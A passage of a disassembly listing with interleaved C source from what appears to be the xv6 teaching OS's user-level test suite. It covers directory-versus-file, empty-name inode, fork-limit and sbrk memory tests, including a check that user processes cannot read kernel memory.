2d3a: e8 8c 11 00 00 call 3ecb <exit>
}
fd = open("dirfile/xx", 0);
2d3f: 83 ec 08 sub $0x8,%esp
2d42: 6a 00 push $0x0
2d44: 68 39 56 00 00 push $0x5639
2d49: e8 bd 11 00 00 call 3f0b <open>
2d4e: 83 c4 10 add $0x10,%esp
2d51: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2d54: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2d58: 78 17 js 2d71 <dirfile+0xb8>
printf(1, "create dirfile/xx succeeded!\n");
2d5a: 83 ec 08 sub $0x8,%esp
2d5d: 68 44 56 00 00 push $0x5644
2d62: 6a 01 push $0x1
2d64: e8 d5 12 00 00 call 403e <printf>
2d69: 83 c4 10 add $0x10,%esp
exit();
2d6c: e8 5a 11 00 00 call 3ecb <exit>
}
fd = open("dirfile/xx", O_CREATE);
2d71: 83 ec 08 sub $0x8,%esp
2d74: 68 00 02 00 00 push $0x200
2d79: 68 39 56 00 00 push $0x5639
2d7e: e8 88 11 00 00 call 3f0b <open>
2d83: 83 c4 10 add $0x10,%esp
2d86: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2d89: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2d8d: 78 17 js 2da6 <dirfile+0xed>
printf(1, "create dirfile/xx succeeded!\n");
2d8f: 83 ec 08 sub $0x8,%esp
2d92: 68 44 56 00 00 push $0x5644
2d97: 6a 01 push $0x1
2d99: e8 a0 12 00 00 call 403e <printf>
2d9e: 83 c4 10 add $0x10,%esp
exit();
2da1: e8 25 11 00 00 call 3ecb <exit>
}
if(mkdir("dirfile/xx") == 0){
2da6: 83 ec 0c sub $0xc,%esp
2da9: 68 39 56 00 00 push $0x5639
2dae: e8 80 11 00 00 call 3f33 <mkdir>
2db3: 83 c4 10 add $0x10,%esp
2db6: 85 c0 test %eax,%eax
2db8: 75 17 jne 2dd1 <dirfile+0x118>
printf(1, "mkdir dirfile/xx succeeded!\n");
2dba: 83 ec 08 sub $0x8,%esp
2dbd: 68 62 56 00 00 push $0x5662
2dc2: 6a 01 push $0x1
2dc4: e8 75 12 00 00 call 403e <printf>
2dc9: 83 c4 10 add $0x10,%esp
exit();
2dcc: e8 fa 10 00 00 call 3ecb <exit>
}
if(unlink("dirfile/xx") == 0){
2dd1: 83 ec 0c sub $0xc,%esp
2dd4: 68 39 56 00 00 push $0x5639
2dd9: e8 3d 11 00 00 call 3f1b <unlink>
2dde: 83 c4 10 add $0x10,%esp
2de1: 85 c0 test %eax,%eax
2de3: 75 17 jne 2dfc <dirfile+0x143>
printf(1, "unlink dirfile/xx succeeded!\n");
2de5: 83 ec 08 sub $0x8,%esp
2de8: 68 7f 56 00 00 push $0x567f
2ded: 6a 01 push $0x1
2def: e8 4a 12 00 00 call 403e <printf>
2df4: 83 c4 10 add $0x10,%esp
exit();
2df7: e8 cf 10 00 00 call 3ecb <exit>
}
if(link("README", "dirfile/xx") == 0){
2dfc: 83 ec 08 sub $0x8,%esp
2dff: 68 39 56 00 00 push $0x5639
2e04: 68 9d 56 00 00 push $0x569d
2e09: e8 1d 11 00 00 call 3f2b <link>
2e0e: 83 c4 10 add $0x10,%esp
2e11: 85 c0 test %eax,%eax
2e13: 75 17 jne 2e2c <dirfile+0x173>
printf(1, "link to dirfile/xx succeeded!\n");
2e15: 83 ec 08 sub $0x8,%esp
2e18: 68 a4 56 00 00 push $0x56a4
2e1d: 6a 01 push $0x1
2e1f: e8 1a 12 00 00 call 403e <printf>
2e24: 83 c4 10 add $0x10,%esp
exit();
2e27: e8 9f 10 00 00 call 3ecb <exit>
}
if(unlink("dirfile") != 0){
2e2c: 83 ec 0c sub $0xc,%esp
2e2f: 68 00 56 00 00 push $0x5600
2e34: e8 e2 10 00 00 call 3f1b <unlink>
2e39: 83 c4 10 add $0x10,%esp
2e3c: 85 c0 test %eax,%eax
2e3e: 74 17 je 2e57 <dirfile+0x19e>
printf(1, "unlink dirfile failed!\n");
2e40: 83 ec 08 sub $0x8,%esp
2e43: 68 c3 56 00 00 push $0x56c3
2e48: 6a 01 push $0x1
2e4a: e8 ef 11 00 00 call 403e <printf>
2e4f: 83 c4 10 add $0x10,%esp
exit();
2e52: e8 74 10 00 00 call 3ecb <exit>
}
fd = open(".", O_RDWR);
2e57: 83 ec 08 sub $0x8,%esp
2e5a: 6a 02 push $0x2
2e5c: 68 7f 4c 00 00 push $0x4c7f
2e61: e8 a5 10 00 00 call 3f0b <open>
2e66: 83 c4 10 add $0x10,%esp
2e69: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2e6c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e70: 78 17 js 2e89 <dirfile+0x1d0>
printf(1, "open . for writing succeeded!\n");
2e72: 83 ec 08 sub $0x8,%esp
2e75: 68 dc 56 00 00 push $0x56dc
2e7a: 6a 01 push $0x1
2e7c: e8 bd 11 00 00 call 403e <printf>
2e81: 83 c4 10 add $0x10,%esp
exit();
2e84: e8 42 10 00 00 call 3ecb <exit>
}
fd = open(".", 0);
2e89: 83 ec 08 sub $0x8,%esp
2e8c: 6a 00 push $0x0
2e8e: 68 7f 4c 00 00 push $0x4c7f
2e93: e8 73 10 00 00 call 3f0b <open>
2e98: 83 c4 10 add $0x10,%esp
2e9b: 89 45 f4 mov %eax,-0xc(%ebp)
if(write(fd, "x", 1) > 0){
2e9e: 83 ec 04 sub $0x4,%esp
2ea1: 6a 01 push $0x1
2ea3: 68 cb 48 00 00 push $0x48cb
2ea8: ff 75 f4 pushl -0xc(%ebp)
2eab: e8 3b 10 00 00 call 3eeb <write>
2eb0: 83 c4 10 add $0x10,%esp
2eb3: 85 c0 test %eax,%eax
2eb5: 7e 17 jle 2ece <dirfile+0x215>
printf(1, "write . succeeded!\n");
2eb7: 83 ec 08 sub $0x8,%esp
2eba: 68 fb 56 00 00 push $0x56fb
2ebf: 6a 01 push $0x1
2ec1: e8 78 11 00 00 call 403e <printf>
2ec6: 83 c4 10 add $0x10,%esp
exit();
2ec9: e8 fd 0f 00 00 call 3ecb <exit>
}
close(fd);
2ece: 83 ec 0c sub $0xc,%esp
2ed1: ff 75 f4 pushl -0xc(%ebp)
2ed4: e8 1a 10 00 00 call 3ef3 <close>
2ed9: 83 c4 10 add $0x10,%esp
printf(1, "dir vs file OK\n");
2edc: 83 ec 08 sub $0x8,%esp
2edf: 68 0f 57 00 00 push $0x570f
2ee4: 6a 01 push $0x1
2ee6: e8 53 11 00 00 call 403e <printf>
2eeb: 83 c4 10 add $0x10,%esp
}
2eee: 90 nop
2eef: c9 leave
2ef0: c3 ret
00002ef1 <iref>:
// test that iput() is called at the end of _namei()
void
iref(void)
{
2ef1: 55 push %ebp
2ef2: 89 e5 mov %esp,%ebp
2ef4: 83 ec 18 sub $0x18,%esp
int i, fd;
printf(1, "empty file name\n");
2ef7: 83 ec 08 sub $0x8,%esp
2efa: 68 1f 57 00 00 push $0x571f
2eff: 6a 01 push $0x1
2f01: e8 38 11 00 00 call 403e <printf>
2f06: 83 c4 10 add $0x10,%esp
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2f09: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2f10: e9 e7 00 00 00 jmp 2ffc <iref+0x10b>
if(mkdir("irefd") != 0){
2f15: 83 ec 0c sub $0xc,%esp
2f18: 68 30 57 00 00 push $0x5730
2f1d: e8 11 10 00 00 call 3f33 <mkdir>
2f22: 83 c4 10 add $0x10,%esp
2f25: 85 c0 test %eax,%eax
2f27: 74 17 je 2f40 <iref+0x4f>
printf(1, "mkdir irefd failed\n");
2f29: 83 ec 08 sub $0x8,%esp
2f2c: 68 36 57 00 00 push $0x5736
2f31: 6a 01 push $0x1
2f33: e8 06 11 00 00 call 403e <printf>
2f38: 83 c4 10 add $0x10,%esp
exit();
2f3b: e8 8b 0f 00 00 call 3ecb <exit>
}
if(chdir("irefd") != 0){
2f40: 83 ec 0c sub $0xc,%esp
2f43: 68 30 57 00 00 push $0x5730
2f48: e8 ee 0f 00 00 call 3f3b <chdir>
2f4d: 83 c4 10 add $0x10,%esp
2f50: 85 c0 test %eax,%eax
2f52: 74 17 je 2f6b <iref+0x7a>
printf(1, "chdir irefd failed\n");
2f54: 83 ec 08 sub $0x8,%esp
2f57: 68 4a 57 00 00 push $0x574a
2f5c: 6a 01 push $0x1
2f5e: e8 db 10 00 00 call 403e <printf>
2f63: 83 c4 10 add $0x10,%esp
exit();
2f66: e8 60 0f 00 00 call 3ecb <exit>
}
mkdir("");
2f6b: 83 ec 0c sub $0xc,%esp
2f6e: 68 5e 57 00 00 push $0x575e
2f73: e8 bb 0f 00 00 call 3f33 <mkdir>
2f78: 83 c4 10 add $0x10,%esp
link("README", "");
2f7b: 83 ec 08 sub $0x8,%esp
2f7e: 68 5e 57 00 00 push $0x575e
2f83: 68 9d 56 00 00 push $0x569d
2f88: e8 9e 0f 00 00 call 3f2b <link>
2f8d: 83 c4 10 add $0x10,%esp
fd = open("", O_CREATE);
2f90: 83 ec 08 sub $0x8,%esp
2f93: 68 00 02 00 00 push $0x200
2f98: 68 5e 57 00 00 push $0x575e
2f9d: e8 69 0f 00 00 call 3f0b <open>
2fa2: 83 c4 10 add $0x10,%esp
2fa5: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2fa8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2fac: 78 0e js 2fbc <iref+0xcb>
close(fd);
2fae: 83 ec 0c sub $0xc,%esp
2fb1: ff 75 f0 pushl -0x10(%ebp)
2fb4: e8 3a 0f 00 00 call 3ef3 <close>
2fb9: 83 c4 10 add $0x10,%esp
fd = open("xx", O_CREATE);
2fbc: 83 ec 08 sub $0x8,%esp
2fbf: 68 00 02 00 00 push $0x200
2fc4: 68 5f 57 00 00 push $0x575f
2fc9: e8 3d 0f 00 00 call 3f0b <open>
2fce: 83 c4 10 add $0x10,%esp
2fd1: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2fd4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2fd8: 78 0e js 2fe8 <iref+0xf7>
close(fd);
2fda: 83 ec 0c sub $0xc,%esp
2fdd: ff 75 f0 pushl -0x10(%ebp)
2fe0: e8 0e 0f 00 00 call 3ef3 <close>
2fe5: 83 c4 10 add $0x10,%esp
unlink("xx");
2fe8: 83 ec 0c sub $0xc,%esp
2feb: 68 5f 57 00 00 push $0x575f
2ff0: e8 26 0f 00 00 call 3f1b <unlink>
2ff5: 83 c4 10 add $0x10,%esp
for(i = 0; i < 50 + 1; i++){
2ff8: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2ffc: 83 7d f4 32 cmpl $0x32,-0xc(%ebp)
3000: 0f 8e 0f ff ff ff jle 2f15 <iref+0x24>
}
chdir("/");
3006: 83 ec 0c sub $0xc,%esp
3009: 68 66 44 00 00 push $0x4466
300e: e8 28 0f 00 00 call 3f3b <chdir>
3013: 83 c4 10 add $0x10,%esp
printf(1, "empty file name OK\n");
3016: 83 ec 08 sub $0x8,%esp
3019: 68 62 57 00 00 push $0x5762
301e: 6a 01 push $0x1
3020: e8 19 10 00 00 call 403e <printf>
3025: 83 c4 10 add $0x10,%esp
}
3028: 90 nop
3029: c9 leave
302a: c3 ret
0000302b <forktest>:
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
302b: 55 push %ebp
302c: 89 e5 mov %esp,%ebp
302e: 83 ec 18 sub $0x18,%esp
int n, pid;
printf(1, "fork test\n");
3031: 83 ec 08 sub $0x8,%esp
3034: 68 76 57 00 00 push $0x5776
3039: 6a 01 push $0x1
303b: e8 fe 0f 00 00 call 403e <printf>
3040: 83 c4 10 add $0x10,%esp
for(n=0; n<1000; n++){
3043: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
304a: eb 1d jmp 3069 <forktest+0x3e>
pid = fork();
304c: e8 72 0e 00 00 call 3ec3 <fork>
3051: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
3054: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3058: 78 1a js 3074 <forktest+0x49>
break;
if(pid == 0)
305a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
305e: 75 05 jne 3065 <forktest+0x3a>
exit();
3060: e8 66 0e 00 00 call 3ecb <exit>
for(n=0; n<1000; n++){
3065: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3069: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
3070: 7e da jle 304c <forktest+0x21>
3072: eb 01 jmp 3075 <forktest+0x4a>
break;
3074: 90 nop
}
if(n == 1000){
3075: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
307c: 75 3b jne 30b9 <forktest+0x8e>
printf(1, "fork claimed to work 1000 times!\n");
307e: 83 ec 08 sub $0x8,%esp
3081: 68 84 57 00 00 push $0x5784
3086: 6a 01 push $0x1
3088: e8 b1 0f 00 00 call 403e <printf>
308d: 83 c4 10 add $0x10,%esp
exit();
3090: e8 36 0e 00 00 call 3ecb <exit>
}
for(; n > 0; n--){
if(wait() < 0){
3095: e8 39 0e 00 00 call 3ed3 <wait>
309a: 85 c0 test %eax,%eax
309c: 79 17 jns 30b5 <forktest+0x8a>
printf(1, "wait stopped early\n");
309e: 83 ec 08 sub $0x8,%esp
30a1: 68 a6 57 00 00 push $0x57a6
30a6: 6a 01 push $0x1
30a8: e8 91 0f 00 00 call 403e <printf>
30ad: 83 c4 10 add $0x10,%esp
exit();
30b0: e8 16 0e 00 00 call 3ecb <exit>
for(; n > 0; n--){
30b5: 83 6d f4 01 subl $0x1,-0xc(%ebp)
30b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
30bd: 7f d6 jg 3095 <forktest+0x6a>
}
}
if(wait() != -1){
30bf: e8 0f 0e 00 00 call 3ed3 <wait>
30c4: 83 f8 ff cmp $0xffffffff,%eax
30c7: 74 17 je 30e0 <forktest+0xb5>
printf(1, "wait got too many\n");
30c9: 83 ec 08 sub $0x8,%esp
30cc: 68 ba 57 00 00 push $0x57ba
30d1: 6a 01 push $0x1
30d3: e8 66 0f 00 00 call 403e <printf>
30d8: 83 c4 10 add $0x10,%esp
exit();
30db: e8 eb 0d 00 00 call 3ecb <exit>
}
printf(1, "fork test OK\n");
30e0: 83 ec 08 sub $0x8,%esp
30e3: 68 cd 57 00 00 push $0x57cd
30e8: 6a 01 push $0x1
30ea: e8 4f 0f 00 00 call 403e <printf>
30ef: 83 c4 10 add $0x10,%esp
}
30f2: 90 nop
30f3: c9 leave
30f4: c3 ret
000030f5 <sbrktest>:
void
sbrktest(void)
{
30f5: 55 push %ebp
30f6: 89 e5 mov %esp,%ebp
30f8: 83 ec 68 sub $0x68,%esp
int fds[2], pid, pids[10], ppid;
char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
30fb: a1 a8 62 00 00 mov 0x62a8,%eax
3100: 83 ec 08 sub $0x8,%esp
3103: 68 db 57 00 00 push $0x57db
3108: 50 push %eax
3109: e8 30 0f 00 00 call 403e <printf>
310e: 83 c4 10 add $0x10,%esp
oldbrk = sbrk(0);
3111: 83 ec 0c sub $0xc,%esp
3114: 6a 00 push $0x0
3116: e8 38 0e 00 00 call 3f53 <sbrk>
311b: 83 c4 10 add $0x10,%esp
311e: 89 45 ec mov %eax,-0x14(%ebp)
// can one sbrk() less than a page?
a = sbrk(0);
3121: 83 ec 0c sub $0xc,%esp
3124: 6a 00 push $0x0
3126: e8 28 0e 00 00 call 3f53 <sbrk>
312b: 83 c4 10 add $0x10,%esp
312e: 89 45 f4 mov %eax,-0xc(%ebp)
int i;
for(i = 0; i < 5000; i++){
3131: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
3138: eb 4f jmp 3189 <sbrktest+0x94>
b = sbrk(1);
313a: 83 ec 0c sub $0xc,%esp
313d: 6a 01 push $0x1
313f: e8 0f 0e 00 00 call 3f53 <sbrk>
3144: 83 c4 10 add $0x10,%esp
3147: 89 45 e8 mov %eax,-0x18(%ebp)
if(b != a){
314a: 8b 45 e8 mov -0x18(%ebp),%eax
314d: 3b 45 f4 cmp -0xc(%ebp),%eax
3150: 74 24 je 3176 <sbrktest+0x81>
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
3152: a1 a8 62 00 00 mov 0x62a8,%eax
3157: 83 ec 0c sub $0xc,%esp
315a: ff 75 e8 pushl -0x18(%ebp)
315d: ff 75 f4 pushl -0xc(%ebp)
3160: ff 75 f0 pushl -0x10(%ebp)
3163: 68 e6 57 00 00 push $0x57e6
3168: 50 push %eax
3169: e8 d0 0e 00 00 call 403e <printf>
316e: 83 c4 20 add $0x20,%esp
exit();
3171: e8 55 0d 00 00 call 3ecb <exit>
}
*b = 1;
3176: 8b 45 e8 mov -0x18(%ebp),%eax
3179: c6 00 01 movb $0x1,(%eax)
a = b + 1;
317c: 8b 45 e8 mov -0x18(%ebp),%eax
317f: 83 c0 01 add $0x1,%eax
3182: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; i < 5000; i++){
3185: 83 45 f0 01 addl $0x1,-0x10(%ebp)
3189: 81 7d f0 87 13 00 00 cmpl $0x1387,-0x10(%ebp)
3190: 7e a8 jle 313a <sbrktest+0x45>
}
pid = fork();
3192: e8 2c 0d 00 00 call 3ec3 <fork>
3197: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
319a: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
319e: 79 1b jns 31bb <sbrktest+0xc6>
printf(stdout, "sbrk test fork failed\n");
31a0: a1 a8 62 00 00 mov 0x62a8,%eax
31a5: 83 ec 08 sub $0x8,%esp
31a8: 68 01 58 00 00 push $0x5801
31ad: 50 push %eax
31ae: e8 8b 0e 00 00 call 403e <printf>
31b3: 83 c4 10 add $0x10,%esp
exit();
31b6: e8 10 0d 00 00 call 3ecb <exit>
}
c = sbrk(1);
31bb: 83 ec 0c sub $0xc,%esp
31be: 6a 01 push $0x1
31c0: e8 8e 0d 00 00 call 3f53 <sbrk>
31c5: 83 c4 10 add $0x10,%esp
31c8: 89 45 e0 mov %eax,-0x20(%ebp)
c = sbrk(1);
31cb: 83 ec 0c sub $0xc,%esp
31ce: 6a 01 push $0x1
31d0: e8 7e 0d 00 00 call 3f53 <sbrk>
31d5: 83 c4 10 add $0x10,%esp
31d8: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a + 1){
31db: 8b 45 f4 mov -0xc(%ebp),%eax
31de: 83 c0 01 add $0x1,%eax
31e1: 39 45 e0 cmp %eax,-0x20(%ebp)
31e4: 74 1b je 3201 <sbrktest+0x10c>
printf(stdout, "sbrk test failed post-fork\n");
31e6: a1 a8 62 00 00 mov 0x62a8,%eax
31eb: 83 ec 08 sub $0x8,%esp
31ee: 68 18 58 00 00 push $0x5818
31f3: 50 push %eax
31f4: e8 45 0e 00 00 call 403e <printf>
31f9: 83 c4 10 add $0x10,%esp
exit();
31fc: e8 ca 0c 00 00 call 3ecb <exit>
}
if(pid == 0)
3201: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
3205: 75 05 jne 320c <sbrktest+0x117>
exit();
3207: e8 bf 0c 00 00 call 3ecb <exit>
wait();
320c: e8 c2 0c 00 00 call 3ed3 <wait>
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
3211: 83 ec 0c sub $0xc,%esp
3214: 6a 00 push $0x0
3216: e8 38 0d 00 00 call 3f53 <sbrk>
321b: 83 c4 10 add $0x10,%esp
321e: 89 45 f4 mov %eax,-0xc(%ebp)
amt = (BIG) - (uint)a;
3221: 8b 45 f4 mov -0xc(%ebp),%eax
3224: ba 00 00 40 06 mov $0x6400000,%edx
3229: 29 c2 sub %eax,%edx
322b: 89 d0 mov %edx,%eax
322d: 89 45 dc mov %eax,-0x24(%ebp)
p = sbrk(amt);
3230: 8b 45 dc mov -0x24(%ebp),%eax
3233: 83 ec 0c sub $0xc,%esp
3236: 50 push %eax
3237: e8 17 0d 00 00 call 3f53 <sbrk>
323c: 83 c4 10 add $0x10,%esp
323f: 89 45 d8 mov %eax,-0x28(%ebp)
if (p != a) {
3242: 8b 45 d8 mov -0x28(%ebp),%eax
3245: 3b 45 f4 cmp -0xc(%ebp),%eax
3248: 74 1b je 3265 <sbrktest+0x170>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
324a: a1 a8 62 00 00 mov 0x62a8,%eax
324f: 83 ec 08 sub $0x8,%esp
3252: 68 34 58 00 00 push $0x5834
3257: 50 push %eax
3258: e8 e1 0d 00 00 call 403e <printf>
325d: 83 c4 10 add $0x10,%esp
exit();
3260: e8 66 0c 00 00 call 3ecb <exit>
}
lastaddr = (char*) (BIG-1);
3265: c7 45 d4 ff ff 3f 06 movl $0x63fffff,-0x2c(%ebp)
*lastaddr = 99;
326c: 8b 45 d4 mov -0x2c(%ebp),%eax
326f: c6 00 63 movb $0x63,(%eax)
// can one de-allocate?
a = sbrk(0);
3272: 83 ec 0c sub $0xc,%esp
3275: 6a 00 push $0x0
3277: e8 d7 0c 00 00 call 3f53 <sbrk>
327c: 83 c4 10 add $0x10,%esp
327f: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-4096);
3282: 83 ec 0c sub $0xc,%esp
3285: 68 00 f0 ff ff push $0xfffff000
328a: e8 c4 0c 00 00 call 3f53 <sbrk>
328f: 83 c4 10 add $0x10,%esp
3292: 89 45 e0 mov %eax,-0x20(%ebp)
if(c == (char*)0xffffffff){
3295: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3299: 75 1b jne 32b6 <sbrktest+0x1c1>
printf(stdout, "sbrk could not deallocate\n");
329b: a1 a8 62 00 00 mov 0x62a8,%eax
32a0: 83 ec 08 sub $0x8,%esp
32a3: 68 72 58 00 00 push $0x5872
32a8: 50 push %eax
32a9: e8 90 0d 00 00 call 403e <printf>
32ae: 83 c4 10 add $0x10,%esp
exit();
32b1: e8 15 0c 00 00 call 3ecb <exit>
}
c = sbrk(0);
32b6: 83 ec 0c sub $0xc,%esp
32b9: 6a 00 push $0x0
32bb: e8 93 0c 00 00 call 3f53 <sbrk>
32c0: 83 c4 10 add $0x10,%esp
32c3: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a - 4096){
32c6: 8b 45 f4 mov -0xc(%ebp),%eax
32c9: 2d 00 10 00 00 sub $0x1000,%eax
32ce: 39 45 e0 cmp %eax,-0x20(%ebp)
32d1: 74 1e je 32f1 <sbrktest+0x1fc>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
32d3: a1 a8 62 00 00 mov 0x62a8,%eax
32d8: ff 75 e0 pushl -0x20(%ebp)
32db: ff 75 f4 pushl -0xc(%ebp)
32de: 68 90 58 00 00 push $0x5890
32e3: 50 push %eax
32e4: e8 55 0d 00 00 call 403e <printf>
32e9: 83 c4 10 add $0x10,%esp
exit();
32ec: e8 da 0b 00 00 call 3ecb <exit>
}
// can one re-allocate that page?
a = sbrk(0);
32f1: 83 ec 0c sub $0xc,%esp
32f4: 6a 00 push $0x0
32f6: e8 58 0c 00 00 call 3f53 <sbrk>
32fb: 83 c4 10 add $0x10,%esp
32fe: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(4096);
3301: 83 ec 0c sub $0xc,%esp
3304: 68 00 10 00 00 push $0x1000
3309: e8 45 0c 00 00 call 3f53 <sbrk>
330e: 83 c4 10 add $0x10,%esp
3311: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a || sbrk(0) != a + 4096){
3314: 8b 45 e0 mov -0x20(%ebp),%eax
3317: 3b 45 f4 cmp -0xc(%ebp),%eax
331a: 75 1b jne 3337 <sbrktest+0x242>
331c: 83 ec 0c sub $0xc,%esp
331f: 6a 00 push $0x0
3321: e8 2d 0c 00 00 call 3f53 <sbrk>
3326: 83 c4 10 add $0x10,%esp
3329: 89 c2 mov %eax,%edx
332b: 8b 45 f4 mov -0xc(%ebp),%eax
332e: 05 00 10 00 00 add $0x1000,%eax
3333: 39 c2 cmp %eax,%edx
3335: 74 1e je 3355 <sbrktest+0x260>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
3337: a1 a8 62 00 00 mov 0x62a8,%eax
333c: ff 75 e0 pushl -0x20(%ebp)
333f: ff 75 f4 pushl -0xc(%ebp)
3342: 68 c8 58 00 00 push $0x58c8
3347: 50 push %eax
3348: e8 f1 0c 00 00 call 403e <printf>
334d: 83 c4 10 add $0x10,%esp
exit();
3350: e8 76 0b 00 00 call 3ecb <exit>
}
if(*lastaddr == 99){
3355: 8b 45 d4 mov -0x2c(%ebp),%eax
3358: 0f b6 00 movzbl (%eax),%eax
335b: 3c 63 cmp $0x63,%al
335d: 75 1b jne 337a <sbrktest+0x285>
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
335f: a1 a8 62 00 00 mov 0x62a8,%eax
3364: 83 ec 08 sub $0x8,%esp
3367: 68 f0 58 00 00 push $0x58f0
336c: 50 push %eax
336d: e8 cc 0c 00 00 call 403e <printf>
3372: 83 c4 10 add $0x10,%esp
exit();
3375: e8 51 0b 00 00 call 3ecb <exit>
}
a = sbrk(0);
337a: 83 ec 0c sub $0xc,%esp
337d: 6a 00 push $0x0
337f: e8 cf 0b 00 00 call 3f53 <sbrk>
3384: 83 c4 10 add $0x10,%esp
3387: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-(sbrk(0) - oldbrk));
338a: 83 ec 0c sub $0xc,%esp
338d: 6a 00 push $0x0
338f: e8 bf 0b 00 00 call 3f53 <sbrk>
3394: 83 c4 10 add $0x10,%esp
3397: 89 c2 mov %eax,%edx
3399: 8b 45 ec mov -0x14(%ebp),%eax
339c: 29 d0 sub %edx,%eax
339e: 83 ec 0c sub $0xc,%esp
33a1: 50 push %eax
33a2: e8 ac 0b 00 00 call 3f53 <sbrk>
33a7: 83 c4 10 add $0x10,%esp
33aa: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a){
33ad: 8b 45 e0 mov -0x20(%ebp),%eax
33b0: 3b 45 f4 cmp -0xc(%ebp),%eax
33b3: 74 1e je 33d3 <sbrktest+0x2de>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
33b5: a1 a8 62 00 00 mov 0x62a8,%eax
33ba: ff 75 e0 pushl -0x20(%ebp)
33bd: ff 75 f4 pushl -0xc(%ebp)
33c0: 68 20 59 00 00 push $0x5920
33c5: 50 push %eax
33c6: e8 73 0c 00 00 call 403e <printf>
33cb: 83 c4 10 add $0x10,%esp
exit();
33ce: e8 f8 0a 00 00 call 3ecb <exit>
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
33d3: c7 45 f4 00 00 00 80 movl $0x80000000,-0xc(%ebp)
33da: eb 76 jmp 3452 <sbrktest+0x35d>
ppid = getpid();
33dc: e8 6a 0b 00 00 call 3f4b <getpid>
33e1: 89 45 d0 mov %eax,-0x30(%ebp)
pid = fork();
33e4: e8 da 0a 00 00 call 3ec3 <fork>
33e9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
33ec: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
33f0: 79 1b jns 340d <sbrktest+0x318>
printf(stdout, "fork failed\n");
33f2: a1 a8 62 00 00 mov 0x62a8,%eax
33f7: 83 ec 08 sub $0x8,%esp
33fa: 68 95 44 00 00 push $0x4495
33ff: 50 push %eax
3400: e8 39 0c 00 00 call 403e <printf>
3405: 83 c4 10 add $0x10,%esp
exit();
3408: e8 be 0a 00 00 call 3ecb <exit>
}
if(pid == 0){
340d: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
3411: 75 33 jne 3446 <sbrktest+0x351>
printf(stdout, "oops could read %x = %x\n", a, *a);
3413: 8b 45 f4 mov -0xc(%ebp),%eax
3416: 0f b6 00 movzbl (%eax),%eax
3419: 0f be d0 movsbl %al,%edx
341c: a1 a8 62 00 00 mov 0x62a8,%eax
3421: 52 push %edx
3422: ff 75 f4 pushl -0xc(%ebp)
3425: 68 41 59 00 00 push $0x5941
342a: 50 push %eax
342b: e8 0e 0c 00 00 call 403e <printf>
3430: 83 c4 10 add $0x10,%esp
kill(ppid);
3433: 83 ec 0c sub $0xc,%esp
3436: ff 75 d0 pushl -0x30(%ebp)
3439: e8 bd 0a 00 00 call 3efb <kill>
343e: 83 c4 10 add $0x10,%esp
exit();
3441: e8 85 0a 00 00 call 3ecb <exit>
}
wait();
3446: e8 88 0a 00 00 call 3ed3 <wait>
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
344b: 81 45 f4 50 c3 00 00 addl $0xc350,-0xc(%ebp)
3452: 81 7d f4 7f 84 1e 80 cmpl $0x801e847f,-0xc(%ebp)
3459: 76 81 jbe 33dc <sbrktest+0x2e7>
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
345b: 83 ec 0c sub $0xc,%esp
345e: 8d 45 c8 lea -0x38(%ebp),%eax
3461: 50 push %eax
3462: e8 74 0a 00 00 call 3edb <pipe>
3467: 83 c4 10 add $0x10,%esp
346a: 85 c0 test %eax,%eax
346c: 74 17 je 3485 <sbrktest+0x390>
printf(1, "pipe() failed\n");
346e: 83 ec 08 sub $0x8,%esp
3471: 68 66 48 00 00 push $0x4866
3476: 6a 01 push $0x1
3478: e8 c1 0b 00 00 call 403e <printf>
347d: 83 c4 10 add $0x10,%esp
exit();
